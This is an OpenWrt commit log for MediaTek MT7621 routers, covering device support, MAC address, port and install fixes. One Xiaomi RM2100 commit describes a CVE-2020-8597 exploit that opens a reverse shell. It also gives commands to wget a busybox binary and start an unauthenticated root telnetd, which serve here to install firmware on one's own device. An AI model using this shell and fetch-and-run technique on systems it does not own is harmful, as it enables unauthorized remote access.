Commit Graph

98 Commits

Author SHA1 Message Date
Perry Melange
22468cc40c ramips: erx and erx-sfp: fix missing WAN interface
This partially reverts commit 5acd1ed0be ("ramips: mt7621: fix
Ubiquiti ER-X ports names and MAC addresses"), this change was discussed
in https://github.com/openwrt/openwrt/pull/2901#discussion_r407238452

With commit 5acd1ed0be ("ramips: mt7621: fix Ubiquiti ER-X ports names
and MAC addresses"), all the ports were put into the LAN bridge, with
the argument that the OEM firmware does not have a WAN port enabled.  In
the default OEM setup, all of the ports except eth0 are dead and eth0 is
set to a static IP address without providing DHCP services when
connected.  It is only after the wizard has been run that eth0 becomes
the WAN port and all the rest of the ports belong to LAN with DHCP
enabled.

Having all of the ports set to the LAN bridge does not mirror the default
OEM setup.  To accomplish that, then only eth0 would be in the LAN bridge.
But this is not the expected behaviour of OpenWrt.

Therefore this proposal to set eth0 to WAN and eth1-N to LAN provides
the expected behaviour expected from OpenWrt, maintains the current
documentation as up-to-date, and does not require the user to manually
detach eth0 from the LAN bridge, create the WAN(6) interface(s), and set
eth0 to the WAN(6) interface(s).

Fixes: 5acd1ed0be ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses")
Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com>
[commit subject and description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
2020-06-09 16:59:33 +02:00
Russell Senior
fe9a2beecb ramips: fix 04_led_migration case syntax for mt7621
Commit f761f4052c had bogus case syntax, the uci-defaults script threw
errors as a result and exited non-zero, probably didn't do what was
intended, but tried over and over since the non-zero exit prevents the
script from being deleted.

Fixes: f761f4052c ("ramips: mt7621: harmonize naming scheme for Mikrotik")

Signed-off-by: Russell Senior <russell@personaltelco.net>
[extend commit title, add Fixes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-23 11:38:09 +02:00
Richard Huynh
f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
2020-05-20 15:26:22 +02:00
Davide Fioravanti
31b49f02ca ramips: add support for Linksys EA7500 v2
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.

Hardware
--------
SoC:   Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM:   256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH:   5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
  - 2.4GHz: 1x MT7615N (4x4:4)
  - 5GHz:   1x MT7615N (4x4:4)
  - 4 antennas: 3 external detachable antennas and 1 internal
USB:
  - 1x USB 3.0
  - 1x USB 2.0
BTN:
  - 1x Reset button
  - 1x WPS button
LEDS:
  - 1x White led (Power)
  - 6x Green leds (link lan1-lan4, link wan, wps)
  - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)

Everything works correctly.

Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.

However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).

After this, you should be back in the OEM firmware.

Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).

When the router reboots flash the “factory” OpenWrt image and this
time it should work.

After the OpenWrt installation you have to use the sysupgrade image
for future updates.

Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.

Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
 1) "kernel" and "rootfs"
 2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.

This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.

A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.

Another way to switch the boot partition is:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.

Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.

However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.

If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
Co-Developed-by: Jackson Lim <jackcolentern@gmail.com>
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
2020-05-17 18:44:28 +02:00
Thibaut VARÈNE
5e50515fa6 ramips/mt7621: mikrotik: don't use mtd-mac-address in DTS
As evidenced here[1] the device MAC address can be stored at a random
offset in the hard_config partition. Rely on sysfs to update the MAC
address correctly.

Adjust config so that WAN is base MAC and LAN is base MAC +1 to better
match label and vendor OS.

[1] https://github.com/openwrt/openwrt/pull/2850#issuecomment-610809021

Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
2020-05-08 15:17:18 +02:00
DENG Qingfang
a10537f674 ramips: fix MikroTik 750Gr3 ports MAC addresses
According to a user in OpenWrt forum, on RouterOS the MAC addresses are
ether1(WAN) = MAC
ether2(LAN2) = MAC+1
ether3(LAN3) = MAC+2
etc.

Fix the MAC addresses in OpenWrt.

Ref: https://forum.openwrt.org/t/few-dumb-question-about-mt7530-rb750gr3-dsa/61608
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
[remove label_mac in 02_network]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-04-28 10:57:17 +02:00
René van Dorst
4c70bb4f90
ramips: enable SFP port for Ubiquiti ER-X-SFP
SFP cage of this device is connected via a AT8031 phy to port 5 of the switch.
This phy act as a RGMII-to-SerDes converter.

Also a I2C clock gate needs to be enabled in order to access the SFP module via I2C bus.
SFP cage also has module detect pin which is connected to I2C gpio expander.

With this patch the kernel/PHYLINK now can detect, readout and use the SFP module/port.

NOTE: SFP cage / AT8033 PHY only support 1000base-X encoding!
This means that some SGMII modules can work and only at forced 1GBit/full-duplex!

Signed-off-by: René van Dorst <opensource@vdorst.com>
2020-04-25 23:48:45 +02:00
René van Dorst
d682dcc939 ramips: mt7621: Ubiquiti ER-X-SFP: fix gpio numbers for POE enable gpios
With v5.4 kernel a new gpio driver is used.
GPIO numbering has changed so update 03_gpio_switches too.

Signed-off-by: René van Dorst <opensource@vdorst.com>
2020-04-18 11:59:41 +08:00
René van Dorst
2fac1322f7 ramips: mt7621: Ubiquiti ER-X: fix gpio number for POE enable gpio
With v5.4 kernel a new gpio driver is used.
GPIO numbering has changed so update 03_gpio_switches too.

Signed-off-by: René van Dorst <opensource@vdorst.com>
2020-04-18 11:59:41 +08:00
Adrian Schmutzler
e8931b309f ramips: mt7621: tidy up names for Ubiquiti devices
The "proper" vendor prefix for Ubiquiti is "ubnt", this is used in
all targets except ramips and also recommended by the kernel.

This patch adjusts the various board/image/device name variables
accordingly. Since we touch it anyway, this also adds the space
in "EdgeRouter X" as a hyphen to those variables to really make
them consistent with the model name.

While at it, create a real shared definition for the devices in
image/mt7621.mk instead of deriving one device from another.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-04-12 13:25:42 +02:00
Yanase Yuki
e66becb490 ramips: add support for I-O DATA WN-AX2033GR
I-O DATA WN-AX2033GR is roughly the same as I-O DATA
WN-AX1167GR2. The difference is Wi-Fi feature.

Specification
=============
- SoC: MediaTek MT7621A
- RAM: DDR3 128 MiB
- Flash Memory: NAND 128 MiB (Spansion S34ML01G200TF100)
- Wi-Fi: MediaTek MT7603E
- Wi-Fi: MediaTek MT7615
- Ethernet: 5x 10 Mbps / 100 Mbps / 1000 Mbps (1x WAN, 4x LAN)
- LED: 2x green LED
- Input: 2x tactile switch, 1x slide switch
- Serial console: 57600bps, PCB through hole J5 (Vcc, TX, RX, NC, GND)
- Power: DC 12V

This device only supports channel 1-13 and 36-140.
Thus, narrower frequency limits compared to other devices are required
for limiting wi-fi frequency correctly.
Without this, non-supported frequencies are activated.

Flash instructions
==================
1. Open the router management page (192.168.0.1).
2. Update router firmware using "initramfs-kernel.bin".
3. After updating, run sysupgrade with "sysupgrade.bin".

Recovery instructions
=====================
WN-AX2033GR contains Zyxel Z-LOADER
1. Setup TFTP server (IP address: 10.10.10.3).
2. Put official firmware into TFTP server directory (distribution site:
   https://www.iodata.jp/lib/software/w/2068.htm)
3. Connect WX-AX2033GR Ethernet port and computer that runs TFTP server.
4. Connect to serial console.
5. Interrupt booting by Esc key.
6. Flash firmware using "ATNR 1,[firmware filename]" command.

Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
[adjust for kernel 5.4, add recovery instructions/frequency comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-04-12 00:43:09 +02:00
Adrian Schmutzler
f761f4052c ramips: mt7621: harmonize naming scheme for Mikrotik
So far, image/device/board names for Mikrotik devices in mt7621 have
been used quite inconsistently.

This patch harmonizes the naming scheme by applying the same style
as used lately in ath79, i.e. using "RouterBOARD" as separate word
in the model name (instead of RB prefix for the number) and deriving
the board/device name from that (= make lower case and replace spaces
by hyphens).

This style has already been used for most the model/DEVICE_MODEL
variables in mt7621, so this is essentially just adjusting the remaining
variables to that.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-04-08 13:46:30 +02:00
Tobias Schramm
57f4eab677 ramips: mt7621: add label mac address to rbm11g
The rbm11g has a label with printed on mac address similar to the
rbm33g.

Signed-off-by: Tobias Schramm <t.schramm@manjaro.org>
2020-04-08 13:42:09 +02:00
Chuanhong Guo
4d979a4d19 ramips: mt7621: bringup dsa master on preinit
DSA requires master netdev to be up before any of its slave ports.
Bring it up during preinit so that the first lan port can be used
on failsafe.

Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
2020-04-04 16:30:16 +08:00
DENG Qingfang
c24d6111f4 ramips: fix MikroTik 750Gr3 LAN ports names
They are labeled as LAN2..LAN5 instead of LAN1..LAN4

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
2020-04-04 14:56:14 +08:00
DENG Qingfang
5acd1ed0be ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses
The name of each user port should be eth0..4, instead of lan1..4
and there is no WAN port. Rename them to match the official firmware.
To avoid conflict with the master port (gmac0), rename it to "dsa".

The official firmware assigns MAC address in this way:
eth0 = label mac
eth1 = label mac + 1
...
eth4 = label mac + 4

Since we have switched to DSA, it's possible to use different MAC for each port.

Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
2020-04-04 14:56:14 +08:00
DENG Qingfang
c9f4f765c8 ramips: mt7621: change default ramips_setup_interfaces configuration
Most of MT7621 boards have LAN1~4 and WAN, so make this as the default

Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
2020-04-04 14:56:14 +08:00
DENG Qingfang
30644bc579 ramips: mt7621: update dts/defconfig for DSA
update dts and network/LED configuration for DSA driver.
sysupgrade from images prior to this commit with config preserved
will cause broken ethernet setup.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Acked-by: Jo-Philipp Wich <jo@mein.io>
[split commit]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
2020-04-04 14:40:44 +08:00
David Bauer
4c8446bf39 ramips: add support for Ubiquiti UniFi nanoHD
Hardware
--------
SoC:   MediaTek MT7621AT
WiFi:  MediaTek MT7603 bgn 2T2R
       MediaTek MT7615 ac  4T4R
Flash: 32M SPI (Macronix MX25L25635F)
RAM:   128M DDR3 (Winbond W631GG6KB)
LED:   Dome (Blue / White)
BTN:   Reset

Installation
------------

These instructions were written for firmware version v3.9.27.
Downgrade if necessary.

1. Copy the OpenWrt sysupgrade image to the devices /tmp folder
   via scp. On factory defaults, user and password is "ubnt" at
   192.168.1.20/24.

2. Write the bootselect flag. Otherwise, the device might boot from the
   wrong partition. Verify the mtd partition used in the command below
   is the one labled "bs" in /proc/mtd (as this might change in the
   future).

   > dd if=/dev/zero bs=1 count=1 of=/dev/mtd4

3. Write the OpenWrt sysupgrade to the mtd partitions labled
   "kernel0" and "kernel1".

   > dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock6
   > dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock7

4. Reboot or powercycle the device.

Signed-off-by: David Bauer <mail@david-bauer.net>
2020-03-10 21:54:46 +01:00
Adrian Schmutzler
6e80df5e33 ramips: add support for NETGEAR R6700v2/AC2400
SoC: MediaTek MT7621AT
RAM: 256M DDR3
FLASH: 128M NAND
WiFi: MediaTek MT7615N an+ac
MediaTek MT7615N bgn
ETH: MediaTek MT7621AT
BTN: 1x Connect (WPS), 1x WLAN, 1x Reset
LED: Power (white/amber), WAN(white/amber), 2.4G(white), 5G(white),
USB(white) , GuestWifi(white) 4x LAN(white/amber), Wifi Button(white),
WPS Button(white)

Installation:

Login to netgear webinterface and flash factory.img

Based on a discontinued GitHub Pull Request by
kuyokushin <codenamezero@protonmail.com>

https://github.com/openwrt/openwrt/pull/2545

NOTE: Netgear R6700 v2 have five clones: R6900 v2, R7450, Nighthawk
AC2400, Nighthawk AC2100 and already added R6800. Rest of them  should
be really easy supportable. Image for R6700v2 should work perfectly with
them. Please refer:

https://github.com/openwrt/openwrt/pull/2614

Tested-by: Víctor Gibrán <victorgibranmz@hotmail.com> [R6700v2]
Tested-by: John Landrum <jl31m10@yahoo.com> [AC2400]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[add guest led to mt7621_netgear_r6700-v2.dts end edit commit message]
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
2020-03-04 23:02:46 +01:00
Pawel Dembicki
4e9317201d ramips: mt7621: add support for Netgear R6800
This patch adds support for the Netgear R6800, aka Netgear AC1900 and
R6800-100PES.

Specification:
- SoC: MediaTek MT7621AT (880 MHz)
- Flash: 128 MiB NAND
- RAM: 256 MiB
- Wireless: MediaTek MT7615EN b/g/n , MediaTek MT7615EN an+ac
- LAN speed: 10/100/1000
- LAN ports: 4
- WAN speed: 10/100/1000
- WAN ports: 1
- USB 2.0
- USB 3.0
- Serial baud rate of Bootloader and factory firmware: 57600

Known issues:
- Device has 3 wifi LEDs: Wifi 5Ghz, Wifi 2.4Ghz and Wifi on/off.
  Wifi on/off is not used.

Installation:
- apply factory image via stock web-gui.

Back to stock:
- nmrpflash can be used to recover to the stock Netgear firmware.

Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
2020-03-04 23:02:46 +01:00
Sungbo Eo
cc89c5fe27 ramips: fix device name of netis WF-2881 to WF2881
The correct model name of WF-2881 is WF2881 without hyphen. The former used
boardnames are not added to SUPPORTED_DEVICES, to make it explicit that the
sysupgrade-tar image, which is newly added in the previous commit, should
not be used to upgrade from older version.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-02-07 14:33:17 +01:00
Sungbo Eo
e030d162f7 ramips: use nand_do_upgrade for netis WF-2881
WF-2881 sysupgrade image uses UBI rootfs, but still relies on
default_do_upgrade. Because of this, config backup is not restored after
sysupgrade. It can be fixed by switching to nand_do_upgrade and
sysupgrade-tar image. default_do_upgrade does not handle sysupgrade-tar
properly, so one should use factory image to upgrade from older version.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
2020-02-07 14:28:50 +01:00
INAGAKI Hiroshi
867db0a283 ramips: add support for I-O DATA WN-AX1167GR2
I-O DATA WN-AX1167GR2 is a 2.4/5 GHz band 11ac router, based on MediaTek
MT7621A.

Specification:

- SoC		: MediaTek MT7621A
- RAM		: DDR3 128 MiB
- Flash		: NAND 128 MiB
- WLAN		: MediaTek MT7615D (2.4/5 GHz, 2T2R)
- Ethernet	: 5x 10/100/1000 Mbps
  - Switch	: MediaTek MT7621A (MT7530)
- LEDs/Input	: 2x/3x (2x buttons, 1x slide-switch)
- UART		: through-hole on PCB
  - J5: Vcc, TX, RX, NC, GND
  - 57600 bps

Flash instruction using initramfs image:

1. Boot WN-AX1167GR2 normally
2. Access to "http://192.168.0.1/" and open firmware update page
("ファームウェア")
3. Select the OpenWrt initramfs image and click update ("更新")
button to perform firmware update
4. On the initramfs image, perform sysupgrade with squashfs-sysupgrade
image
5. Wait ~120 seconds to complete flashing

Notes:

- configuration in DeviceTree of DBDC (Dual-Band-Dual-Concurrent) mode
for MT7615D chip is not supported in mt76 driver
- last 0x80000 (512 KiB) in NAND flash is not used on stock firmware
- stock firmware requires "customized uImage header" by MSTC
(MitraStar Technology Corp.), but U-Boot doesn't
  - uImage magic (0x0 - 0x3) : 0x434F4D42 (COMB)
  - header crc32 (0x4 - 0x7) : with data length and data crc32
  - image name (0x20 - 0x37) : model ID and firmware versions
  - data length (0x38 - 0x3b): kernel + rootfs
  - data crc32 (0x3c - 0x3f) : kernel + rootfs

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
2020-02-05 17:03:34 +01:00
INAGAKI Hiroshi
3c0e2aa63e ramips: add support for I-O DATA WN-DX1167R
I-O DATA WN-DX1167R is a 2.4/5 GHz band 11ac rotuer, based on MediaTek
MT7621A.

Specification:

- SoC		: MediaTek MT7621A
- RAM		: DDR3 128 MiB
- Flash		: NAND 128 MiB
- WLAN		: MediaTek MT7615D (2.4/5 GHz, 2T2R)
- Ethernet	: 5x 10/100/1000 Mbps
  - Switch	: MediaTek MT7621A (MT7530)
- LEDs/Input	: 2x/3x (2x buttons, 1x slide-switch)
- UART		: through-hole on PCB
  - J5: Vcc, TX, RX, NC, GND
  - 57600 bps

Flash instruction using initramfs image:

1. Boot WN-DX1167R normally
2. Access to "http://192.168.0.1/" and open firmware update page
("ファームウェア")
3. Select the OpenWrt initramfs image and click update ("更新")
button to perform firmware update
4. On the initramfs image, perform sysupgrade with squashfs-sysupgrade
image
5. Wait ~120 seconds to complete flashing

Notes:

- configuration in DeviceTree of DBDC (Dual-Band-Dual-Concurrent) mode
for MT7615D chip is not supported in mt76 driver
- last 0x80000 (512 KiB) in NAND flash is not used on stock firmware
- stock firmware requires "customized uImage header" by MSTC
(MitraStar Technology Corp.), but U-Boot doesn't
  - uImage magic (0x0 - 0x3) : 0x434F4D43 (COMC)
  - header crc32 (0x4 - 0x7) : with data length and data crc32
  - image name (0x20 - 0x37) : model ID and firmware versions
  - data length (0x38 - 0x3b): kernel + rootfs
  - data crc32 (0x3c - 0x3f) : kernel + rootfs

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
2020-02-05 17:03:27 +01:00
DENG Qingfang
68f49df315 ramips: fix HiWiFi HC5962 switch configuration
HC5962 has only 3 LAN ports, switch port 0 is unused

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
2020-01-16 18:28:27 +01:00
Adrian Schmutzler
04222bc5bc ramips: add label MAC address for Xiaomi MIR3G
The device label shows the address currently assigned to the OpenWrt
LAN interface.

Current setup is:
LAN  *:b8  factory 0xe006  label
WAN  *:b7  factory 0xe000

For vendor FW bootlog we get (manually removed parts of the address):
[    7.520000] set LAN/WAN LWLLL
[    7.530000] GMAC1_MAC_ADRH -- : 0x00004031
[    7.530000] GMAC1_MAC_ADRL -- : 0x3c****b7
[    7.530000] GDMA2_MAC_ADRH -- : 0x00004031
[    7.540000] GDMA2_MAC_ADRL -- : 0x3c****b8
[    7.540000] eth1: ===> VirtualIF_open

Without further information, this does not allow verification of
the currently unexpected LAN/WAN assignment (we would expect 0xe000
to be LAN).

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-01-08 16:27:52 +01:00
Yong-hyu Ban
99dd2709b8 ramips: add support for ipTIME A8004T
ipTIME A8004T is a 2.4/5GHz band AC2600 router, based on Mediatek
MT7621A.

Specifications:
- SoC: MT7621A
- RAM: DDR3 256M
- Flash: SPI NOR 16MB
- WiFi:
  - 2.4GHz: MT7615E
  - 5GHz: MT7615E
- Ethernet: 5x 10/100/1000Mbps
  - Switch: SoC internal
- USB: 1 * USB3.0 port
- UART:
  - J4: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
- Other info:
  - J9: Unknown unpopulated header.

Installation via web interface:
1.  Flash **initramfs** image through the stock web interface.
2.  Boot into OpenWrt and perform sysupgrade with sysupgrade image.

Revert to stock firmware:
1.  Perform sysupgrade with stock image.

Signed-off-by: Yong-hyu Ban <perillamint@quendi.moe>
[do not enable xhci node in DTS which is already enabled in DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-01-05 23:38:00 +01:00
Maksym Medvedev
663b1a14e5 ramips: add support for Edimax RA21S
Edimax RA21S is a dual band 11ac router,
based on MediaTek MT7621A and MT7615N chips.

Specification:
- SoC: MediaTek MT7621A dual-core @ 880MHz
- RAM: 256M (Nanya NT5CC128M16IP)
- FLASH: 16MB (Macronix MX25L12835F)
- WiFi: 2.4/5 GHz 4T4R
  - 2.4GHz MediaTek MT7615N bgn
  - 5GHz MediaTek MT7615N nac
- Switch: SoC integrated Gigabit Switch (4 x LAN, 1 x WAN)
- USB: No
- BTN: Reset, WPS
- LED: 4 red LEDs, indistinguishable when case closed
- UART:  through-hole on PCB.
   J1: 3.3V - RX - GND - TX / 57600-8N1.  3.3V is the square pad

Installation:
Update the factory image via the OEM web-interface
(by default: http://192.168.2.1/)
User: admin
Password: 1234

The sysupgrade image can be installed via TFTP
from the U-Boot bootloader. Connect via ethernet port 2.

Tested on device by @UAb5eSMn

Signed-off-by: Maksym Medvedev <redrathnure@gmail.com>
[split DTS and take over improvements from RG21S, extend commit
message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-01-04 16:49:59 +01:00
DENG Qingfang
113e51f79a ramips: move set-irq-affinity script to mt7621 subtarget
Move the set-irq-affinity script to mt7621 because it is the only
SMP subtarget.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
2020-01-03 00:08:35 +01:00
Sven Roederer
eca05bc4cc ramips: add label MAC address for Mikrotik RB750Gr3
The device label contains:
E01: 74:4D:28:xx:xx:30
E05: 74:4D:28:xx:xx:34

The first value corresponds to the address set in hard_config 0x10.

That one is taken for the label MAC address.

Signed-off-by: Sven Roederer <freifunk@it-solutions.geroedel.de>
2019-12-23 02:24:55 +01:00
Adrian Schmutzler
02f8dbc6fe ramips: add eth0 MAC address for Edimax RG21S
So far, lan/wan MAC address for Edimax RG21S are only read using
mtd_get_mac_ascii, so eth0.1 and eth0.2 addresses are set, but
eth0 address is random. Since the device's LAN address is the same
as for 2.4 GHz, though, this patch set's the eth0 address based
on the 2.4 GHz one, which can be extracted by mtd-mac-address.

This will also allow to move the label MAC address setup to DT.

The setup of lan_mac and wan_mac are kept in 02_network, so those
locations are still in use, too.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-22 01:20:33 +01:00
Adrian Schmutzler
2708d58c1d ramips: add label MAC address for Edimax RG21S
The Edimax RG21S has a label which bears two MAC addresses:
2.4 GHz (n) and 5 GHz (n+1)

The complete MAC address setup is as follows:
2.4 GHz  *:83  factory 0x4, u-boot-env wlanaddr
5 GHz    *:84  factory 0x8004
LAN      *:83  u-boot-env ethaddr
WAN      *:85  u-boot-env wanaddr

Since 2.4 GHz is the first address on the label and the same
as used for ethernet, take this one for label MAC address.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-17 13:33:58 +01:00
DENG Qingfang
1b7199c90c ramips: add support for JCG JHR-AC876M
JCG JHR-AC876M is an AC2600M router

Hardware specs:
  SoC: MT7621AT
  2.4GHz: MT7615N 4x4 @ PCIe0
  5GHz: MT7615N 4x4 @ PCIe1
  Flash: Winbond W25Q128JVSQ 16MiB
  RAM: Nanya NT5CB128M16 256MiB
  USB 2.0 and 3.0 ports
  6 LEDs, 3 of which are connected to SoC GPIO
  Reset and WPS buttons

Flash instructions:
Stock to OpenWrt:
  Upload factory.bin in stock firmware's upgrade page,
  do not preserve settings

OpenWrt to stock:
  Push and hold the reset button for 5s while power cycling to
  enter recovery mode;
  Visit 192.168.1.1 and upload stock firmware

MAC addresses map:
  0x0004  *:1c  wlan2g/wan/label
  0x8004  *:20  wlan5g
  0xe000  *:1b  lan
  0xe006  *:1a  not used in stock fw

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
2019-12-13 19:43:47 +01:00
Sungbo Eo
a972b1fb5f ramips: add support for ipTIME A6ns-M
ipTIME A6ns-M is a 2.4/5GHz band AC1900 router, based on MediaTek MT7621A.

Specifications:
- SoC: MT7621AT
- RAM: DDR3 128MB
- Flash: SPI NOR 16MB
- WiFi:
  - 2.4GHz: MT7615
  - 5GHz: MT7615
- Ethernet: 5x 10/100/1000Mbps
  - Switch: SoC internal
- UART:
  - J4: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1

Installation via web interface:
1.  Flash **initramfs** image through the stock web interface.
2.  Boot into OpenWrt and perform sysupgrade with sysupgrade image.

Revert to stock firmware:
1.  Perform sysupgrade with stock image.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
2019-12-13 19:42:48 +01:00
Sungbo Eo
0375c076b6 ramips: add support for ZIO FREEZIO
ZIO FREEZIO is a 2.4/5GHz band AC1200 router, based on MediaTek MT7621A.

Specifications:
- SoC: MT7621AT
- RAM: DDR3 128MB
- Flash: SPI NOR 16MB
- WiFi:
  - 2.4GHz: MT7603EN
  - 5GHz: MT7612EN
- Ethernet: 5x 10/100/1000Mbps
  - Switch: SoC internal
- USB: 1x 3.0
- UART:
  - J4: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1

Notes:
- FREEZIO has almost the same board as WeVO W2914NS v2.
- Stock firmware is based on OpenWrt BB.

MAC addresses in factory partition:
0x0004: WiFi 2.4GHz (label_mac-8)
0x002e: WAN (label_mac)
0x8004: WiFi 5GHz (label_mac-4)
0xe000: LAN (label_mac+1)

Installation via web interface:
1.  Access web admin page and turn on "OpenWrt UI mode".
2.  Flash sysupgrade image through LuCI, with the "Keep settings" option
    OFF.

Revert to stock firmware:
1.  Perform sysupgrade with stock image.
    Make sure to NOT preserve settings.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rebase, use mt7621_wevo_w2914ns-v2.dtsi]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-13 15:37:37 +01:00
